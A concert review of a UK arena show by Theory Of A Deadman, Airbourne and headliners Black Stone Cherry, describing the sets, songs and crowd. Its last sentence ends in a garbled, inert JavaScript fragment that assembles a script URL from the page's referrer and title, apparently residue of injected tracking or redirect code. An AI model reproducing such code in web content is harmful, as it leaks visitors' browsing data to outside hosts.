Gig Review: Black Stone Cherry

Leaving a show feeling like you are one of the bands best friends is a rare feeling, but somehow black Stone Cherry always seem to do just that. You don’t feel like you’re in a stadium with thousands of other people, you feel like you’re in their garage at one of their practices. The feeling that when the band talk, they are talking to you and you alone is a humbling one, and it helps you connect with them as people as well as musicians. That, for me certainly, is what live shows are all about.

Introduced by a seemingly arbitrarily-placed Game Of Thrones theme, a short – but by no means fleeting – opening set by Canadian country rock quartet Theory Of A Deadman set the tone for the show. The confidence and stage presence of singer/guitarist Tyler Connolly eased the crowd into a night of hard rock, beer and flying guitar picks.

Despite a few technical issues and what seemed to be large volumes of swearing into towels, the band carried on with their varied and almost anarchic set, letting fly their lighter-waving track Santa Monica and their latest release, a distortion and drum-driven Savages.

Closing with their popular track I Hate My Life left the crowd with a rebellious warmth and somewhat blissful ignorance as to what was coming next.

After what appeared to be a disaster-worthy amount of smoke, the shadows of Airbourne’s O’Keeffe brothers appear on stage. Leaving just the right amount of time to allow the anticipation to reach its peak, the Australian hard rockers exploded into their set with a fast and loud Ready To Rock. Drawing inspiration from the great hard rock bands of the 80s, the world’s best AC/DC-tribute-band-that-aren’t-actually-an-AC/DC-tribute-band seem to have the hang of what the term hard rock means: Loud guitar, loud drums, loud singing, fit-inducing light shows and a stage presence so strong it makes Presidential speeches seem like a Primary Five “What I did on holiday” presentation.

After moving quickly between the opening three tracks, singer/guitarist Joel O’Keeffe broke into a customary playing of Scotland The Brave, much to the pleasure of the baying crowd. Customary, of course, at shows in Scotland; I wouldn’t imagine they play it at shows in America, for instance.

The seemingly unstoppable tide of energy produced by the four-piece leaves very little to the imagination; minus the usual fireworks, the show put on by the hairy and sweaty four-piece is easily one of the greatest spectacles in modern rock.

After his obligatory running-through-the-crowd, Joel stopped on the sound desk at the back of the arena and proceeded with a face-melting solo for the cheap seats.

Closing with a fast-paced, hard-hitting Runnin’ Wild, the disaster-worthy volumes of smoke arrived again to wash the band away.

It seems that bands who can work crowd anticipation and excitement to almost breaking point are the ones that seem most at ease on stage. A large break and a large curtain heightened the anticipation. An eternity passed as the 8000-strong crowd waited and waited for the headline act.

A powerful introduction by the track Rain Wizard gave the crowd exactly what they wanted. Black Stone Cherry singer/guitarist Chris Robertson’s slightly gravelly, eardrum-bursting singing abilities coupled with the guitar harmonies brought on by himself and guitarist Ben Wells show the arena what they do best.

Airbourne’s energy was easily matched by the powerhouse, Emperor of showmanship and drummer John Fred Young who seemed to never stop moving during the entire show, beating the drums like they owed him months of rent.

The country rock roots of the Kentucky quartet are still the driving force behind their music, although there are many other influences evident. From the crushing guitar riffs of the 90s heavy metal era to blues licks worthy of a spot on Eric Clapton’s mantelpiece, Black Stone Cherry never ceases to amaze.

Running through hit after hit, the band never disappointed and the show was never short of crowd participation. After throwing out the crowd-pleasing Blame It On The Boom Boom and finishing with their first big hit, the 2006 release Lonely Train the band departed from the stage, leaving the backdrop bathed in a sheer white light. The baying crowd kicked up in multiple chants in support of the band and of the show, and these chants were as unrelenting as the show that had just finished. Through the sheer white light reappeared Chris and Ben and led a touching, heart-warming Peace Is Free sing-along. Midway through the song, Chris and Ben were joined by the remaining two members, the band and the crowd came together into one flowing body, all singing as loud as their lungs would permit. The feeling that came over the arena was one of togetherness and caring, and I believe there were a few tears shed during the encore.

It’s fantastic to see a band enjoy their journey so much, and it’s even better to have seem them grow in both confidence and popularity over the last few years. This show was indeed an explosive, touching and hard-hitting start to an almost sold-out UK arena tour for the Kentucky band.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;